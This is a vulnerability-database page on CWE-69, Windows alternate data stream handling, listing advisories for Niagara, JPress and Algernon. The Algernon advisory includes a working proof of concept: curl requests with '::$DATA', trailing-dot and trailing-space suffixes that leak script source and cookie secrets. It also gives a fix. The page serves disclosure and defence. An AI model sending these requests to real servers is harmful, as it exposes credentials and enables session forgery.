Common Weakness Enumeration

CWE-69

Allowed

Improper Handling of Windows ::DATA Alternate Data Stream

Abstraction: Variant · Status: Incomplete

The product does not properly prevent access to, or detect usage of, alternate data streams (ADS).

4 vulnerabilities reference this CWE, most recent first.

CVE-2025-3941 (GCVE-0-2025-3941)

Vulnerability from cvelistv5 – Published: 2025-05-22 12:38 – Updated: 2025-05-22 13:52
VLAI
Title
Improper Handling of Windows: DATA Alternate Data Stream
Summary
Improper Handling of Windows ::DATA Alternate Data Stream vulnerability in Tridium Niagara Framework on Windows, Tridium Niagara Enterprise Security on Windows allows Input Data Manipulation. This issue affects Niagara Framework: before 4.14.2, before 4.15.1, before 4.10.11; Niagara Enterprise Security: before 4.14.2, before 4.15.1, before 4.10.11.Tridium recommends upgrading to Niagara Framework and Enterprise Security versions 4.14.2u2, 4.15.u1, or 4.10u.11.
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
  • CWE-69 - Improper Handling of Windows ::DATA Alternate Data Stream
Assigner
Impacted products
Vendor Product Version
Tridium Niagara Framework Affected: 0 , < 4.14.2 (custom)
Affected: 0 , < 4.15.1 (custom)
Affected: 0 , < 4.10.11 (custom)
Create a notification for this product.
Tridium Niagara Enterprise Security Affected: 0 , < 4.14.2 (custom)
Affected: 0 , < 4.15.1 (custom)
Affected: 0 , < 4.10.11 (custom)
Create a notification for this product.
Date Public
2025-05-08 16:59
Credits
Andrea Palanca and team at Nozomi Networks
Show details on NVD website

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GHSA-HPF9-CFGC-PW67

Vulnerability from github – Published: 2024-08-22 03:31 – Updated: 2024-08-22 18:31
VLAI
Details

JPress through 5.1.1 on Windows has an arbitrary file upload vulnerability that could cause arbitrary code execution via ::$DATA to AttachmentController, such as a .jsp::$DATA file to io.jpress.web.commons.controller.AttachmentController#upload. NOTE: this is unrelated to the attack vector for CVE-2024-32358.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-43033"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-69"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-22T01:15:03Z",
    "severity": "HIGH"
  },
  "details": "JPress through 5.1.1 on Windows has an arbitrary file upload vulnerability that could cause arbitrary code execution via ::$DATA to AttachmentController, such as a .jsp::$DATA file to io.jpress.web.commons.controller.AttachmentController#upload. NOTE: this is unrelated to the attack vector for CVE-2024-32358.",
  "id": "GHSA-hpf9-cfgc-pw67",
  "modified": "2024-08-22T18:31:21Z",
  "published": "2024-08-22T03:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43033"
    },
    {
      "type": "WEB",
      "url": "https://github.com/JPressProjects/jpress/issues/188"
    },
    {
      "type": "WEB",
      "url": "https://cwe.mitre.org/data/definitions/69.html"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lazy-forever/CVE-Reference/tree/main/2024/43033"
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    }
  ]
}

GHSA-MM6C-5J6X-HQ8M

Vulnerability from github – Published: 2026-07-02 20:46 – Updated: 2026-07-02 20:46
VLAI
Summary
Algernon vulnerable to server-side script source disclosure on Windows via NTFS filename
Details

Summary

Algernon selects its file handler from filepath.Ext() (engine/handlers.go:134), which does not treat the NTFS-equivalent names x.lua::$DATA, x.lua., or x.lua as .lua. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the SetCookieSecret value.

Linux and macOS hosts are unaffected.

Preconditions

  • Algernon runs on a Windows host (NTFS filesystem).
  • The instance serves at least one server-side script (.lua, .tl, .po2, .amber, .frm).
  • The script sits on a public path, or no auth backend is configured (--nodb, --simple, or default no-DB).
  • HTTP/HTTPS reachability to the server.

Details

// engine/handlers.go:133
lowercaseFilename := strings.ToLower(filename)
ext := filepath.Ext(lowercaseFilename) // "index.lua::$data" -> ".lua::$data", not ".lua"  [offending]
...
if ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false
    return
}
switch ext {
case ".lua", ".tl": // execute the script -- never reached for the equivalent forms
    // ... RunLua ...
default:
    // control reaches the raw-file branch below
}
// engine/handlers.go:452
f, err := os.Open(filename) // NTFS resolves "index.lua::$DATA" to index.lua's data stream
...
// engine/handlers.go:479
if dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil {
    dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client
}

The request path reaches FilePage through URL2filename (utils/files.go:24), which rejects only ..; a :, a trailing ., and a trailing space all pass through into filename. filepath.Ext does an exact suffix match, so .lua::$data, ., and .lua are not equal to .lua or .tl. The renderer registry and the execute case are both skipped and control falls to the default branch.

The default branch opens filename with os.Open and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix ::$DATA, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler.

Proof of concept

Setup

  1. Build Algernon from source on a Windows host:

powershell git clone https://github.com/xyproto/algernon cd algernon git checkout v1.17.8 go build -o algernon.exe .

  1. Create a web root with a script that embeds secrets, exactly as a real handler would:

powershell New-Item -ItemType Directory webroot | Out-Null Set-Content webroot\index.lua @' -- db = POSTGRES("postgres://app:S3cr3t@db/prod") SetCookieSecret("hardcoded-session-key") print("<h1>hello</h1>") '@

  1. Serve the directory over plain HTTP with no auth backend (run in its own window):

powershell .\algernon.exe --httponly --noninteractive --nodb --addr ':8088' --dir .\webroot

Exploit

  1. Request the script normally. It executes, and the source is not disclosed:

powershell curl.exe -s http://127.0.0.1:8088/index.lua

Expected: <h1>hello</h1>. The DSN and cookie secret are absent from the response.

  1. Request the same script through its NTFS ::$DATA stream. Algernon returns the raw source:

powershell curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA'

Expected: HTTP 200, Content-Type: application/octet-stream, body is the verbatim Lua source including SetCookieSecret("hardcoded-session-key") and the Postgres DSN.

  1. The trailing-dot and trailing-space forms leak the same source:

powershell curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua.' curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua%20'

Expected: identical raw-source response for both.

Impact

  • Confidentiality: Reads the verbatim source of any public-path server-side script, exposing hardcoded DB credentials, API keys, and SetCookieSecret(...) values.
  • Authentication: A disclosed SetCookieSecret value lets an unauthenticated attacker forge session cookies and log in as any user.

Suggestions to fix

This has not been tested - it is illustrative only.

Reject request paths whose final segment uses a Windows-equivalent form (alternate data stream, trailing dot, or trailing space) before extension dispatch.

 func (ac *Config) FilePage(w http.ResponseWriter, req *http.Request, filename, luaDataFilename string) {
+   // Reject Windows filename-equivalent forms that alias a different file
+   // than filepath.Ext sees (e.g. "x.lua::$DATA", "x.lua.", "x.lua ").
+   if base := filepath.Base(filename); strings.ContainsRune(base, ':') ||
+       strings.HasSuffix(base, ".") || strings.HasSuffix(base, " ") {
+       http.NotFound(w, req)
+       return
+   }
    if ac.quitAfterFirstRequest {
        go ac.quitSoon("Quit after first request", defaultSoonDuration)
    }
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.17.8"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/xyproto/algernon"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52792"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-69"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T20:46:42Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAlgernon selects its file handler from `filepath.Ext()` (engine/handlers.go:134), which does not treat the NTFS-equivalent names `x.lua::$DATA`, `x.lua.`, or `x.lua ` as `.lua`. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the `SetCookieSecret` value.\n\nLinux and macOS hosts are unaffected.\n\n### Preconditions\n\n- Algernon runs on a Windows host (NTFS filesystem).\n- The instance serves at least one server-side script (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`).\n- The script sits on a public path, or no auth backend is configured (`--nodb`, `--simple`, or default no-DB).\n- HTTP/HTTPS reachability to the server.\n\n### Details\n\n```go\n// engine/handlers.go:133\nlowercaseFilename := strings.ToLower(filename)\next := filepath.Ext(lowercaseFilename) // \"index.lua::$data\" -\u003e \".lua::$data\", not \".lua\"  [offending]\n...\nif ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false\n    return\n}\nswitch ext {\ncase \".lua\", \".tl\": // execute the script -- never reached for the equivalent forms\n    // ... RunLua ...\ndefault:\n    // control reaches the raw-file branch below\n}\n```\n\n```go\n// engine/handlers.go:452\nf, err := os.Open(filename) // NTFS resolves \"index.lua::$DATA\" to index.lua\u0027s data stream\n...\n// engine/handlers.go:479\nif dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil {\n    dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client\n}\n```\n\nThe request path reaches `FilePage` through `URL2filename` (utils/files.go:24), which rejects only `..`; a `:`, a trailing `.`, and a trailing space all pass through into `filename`. `filepath.Ext` does an exact suffix match, so `.lua::$data`, `.`, and `.lua ` are not equal to `.lua` or `.tl`. The renderer registry and the execute case are both skipped and control falls to the `default` branch.\n\nThe default branch opens `filename` with `os.Open` and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix `::$DATA`, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler.\n\n### Proof of concept\n\n**Setup**\n\n1. Build Algernon from source on a Windows host:\n\n   ```powershell\n   git clone https://github.com/xyproto/algernon\n   cd algernon\n   git checkout v1.17.8\n   go build -o algernon.exe .\n   ```\n\n2. Create a web root with a script that embeds secrets, exactly as a real handler would:\n\n   ```powershell\n   New-Item -ItemType Directory webroot | Out-Null\n   Set-Content webroot\\index.lua @\u0027\n   -- db = POSTGRES(\"postgres://app:S3cr3t@db/prod\")\n   SetCookieSecret(\"hardcoded-session-key\")\n   print(\"\u003ch1\u003ehello\u003c/h1\u003e\")\n   \u0027@\n   ```\n\n3. Serve the directory over plain HTTP with no auth backend (run in its own window):\n\n   ```powershell\n   .\\algernon.exe --httponly --noninteractive --nodb --addr \u0027:8088\u0027 --dir .\\webroot\n   ```\n\n**Exploit**\n\n1. Request the script normally. It executes, and the source is not disclosed:\n\n   ```powershell\n   curl.exe -s http://127.0.0.1:8088/index.lua\n   ```\n\n   Expected: `\u003ch1\u003ehello\u003c/h1\u003e`. The DSN and cookie secret are absent from the response.\n\n2. Request the same script through its NTFS `::$DATA` stream. Algernon returns the raw source:\n\n   ```powershell\n   curl.exe -s --path-as-is \u0027http://127.0.0.1:8088/index.lua::$DATA\u0027\n   ```\n\n   Expected: HTTP 200, `Content-Type: application/octet-stream`, body is the verbatim Lua source including `SetCookieSecret(\"hardcoded-session-key\")` and the Postgres DSN.\n\n3. The trailing-dot and trailing-space forms leak the same source:\n\n   ```powershell\n   curl.exe -s --path-as-is \u0027http://127.0.0.1:8088/index.lua.\u0027\n   curl.exe -s --path-as-is \u0027http://127.0.0.1:8088/index.lua%20\u0027\n   ```\n\n   Expected: identical raw-source response for both.\n\n### Impact\n\n- **Confidentiality:** Reads the verbatim source of any public-path server-side script, exposing hardcoded DB credentials, API keys, and `SetCookieSecret(...)` values.\n- **Authentication:** A disclosed `SetCookieSecret` value lets an unauthenticated attacker forge session cookies and log in as any user.\n\n### Suggestions to fix\n\n\u003e _This has not been tested - it is illustrative only._\n\nReject request paths whose final segment uses a Windows-equivalent form (alternate data stream, trailing dot, or trailing space) before extension dispatch.\n\n```diff\n func (ac *Config) FilePage(w http.ResponseWriter, req *http.Request, filename, luaDataFilename string) {\n+\t// Reject Windows filename-equivalent forms that alias a different file\n+\t// than filepath.Ext sees (e.g. \"x.lua::$DATA\", \"x.lua.\", \"x.lua \").\n+\tif base := filepath.Base(filename); strings.ContainsRune(base, \u0027:\u0027) ||\n+\t\tstrings.HasSuffix(base, \".\") || strings.HasSuffix(base, \" \") {\n+\t\thttp.NotFound(w, req)\n+\t\treturn\n+\t}\n \tif ac.quitAfterFirstRequest {\n \t\tgo ac.quitSoon(\"Quit after first request\", defaultSoonDuration)\n \t}\n```",
  "id": "GHSA-mm6c-5j6x-hq8m",
  "modified": "2026-07-02T20:46:43Z",
  "published": "2026-07-02T20:46:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xyproto/algernon/security/advisories/GHSA-mm6c-5j6x-hq8m"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xyproto/algernon"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Algernon vulnerable to server-side script source disclosure on Windows via NTFS filename"
}

GHSA-Q524-5RG8-2J6P

Vulnerability from github – Published: 2025-05-22 15:34 – Updated: 2025-05-22 15:34
VLAI
Details

Improper Handling of Windows ::DATA Alternate Data Stream vulnerability in Tridium Niagara Framework on Windows, Tridium Niagara Enterprise Security on Windows allows Input Data Manipulation. This issue affects Niagara Framework: before 4.14.2, before 4.15.1, before 4.10.11; Niagara Enterprise Security: before 4.14.2, before 4.15.1, before 4.10.11.Tridium recommends upgrading to Niagara Framework and Enterprise Security versions 4.14.2u2, 4.15.u1, or 4.10u.11.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-3941"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-69",
      "CWE-706"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-22T13:15:57Z",
    "severity": "MODERATE"
  },
  "details": "Improper Handling of Windows ::DATA Alternate Data Stream vulnerability in Tridium Niagara Framework on Windows, Tridium Niagara Enterprise Security on Windows allows Input Data Manipulation. This issue affects Niagara Framework: before 4.14.2, before 4.15.1, before 4.10.11; Niagara Enterprise Security: before 4.14.2, before 4.15.1, before 4.10.11.Tridium recommends upgrading to Niagara Framework and Enterprise Security versions 4.14.2u2, 4.15.u1, or 4.10u.11.",
  "id": "GHSA-q524-5rg8-2j6p",
  "modified": "2025-05-22T15:34:49Z",
  "published": "2025-05-22T15:34:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3941"
    },
    {
      "type": "WEB",
      "url": "https://docs.niagara-community.com/category/tech_bull"
    },
    {
      "type": "WEB",
      "url": "https://www.honeywell.com/us/en/product-security#security-notices"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Implementation

Ensure that the source code correctly parses the filename to read or write to the correct stream.

CAPEC-168: Windows ::DATA Alternate Data Stream

An attacker exploits the functionality of Microsoft NTFS Alternate Data Streams (ADS) to undermine system security. ADS allows multiple "files" to be stored in one directory entry referenced as filename:streamname. One or more alternate data streams may be stored in any file or directory. Normal Microsoft utilities do not show the presence of an ADS stream attached to a file. The additional space for the ADS is not recorded in the displayed file size. The additional space for ADS is accounted for in the used space on the volume. An ADS can be any type of file. ADS are copied by standard Microsoft utilities between NTFS volumes. ADS can be used by an attacker or intruder to hide tools, scripts, and data from detection by normal system utilities. Many anti-virus programs do not check for or scan ADS. Windows Vista does have a switch (-R) on the command line DIR command that will display alternate streams.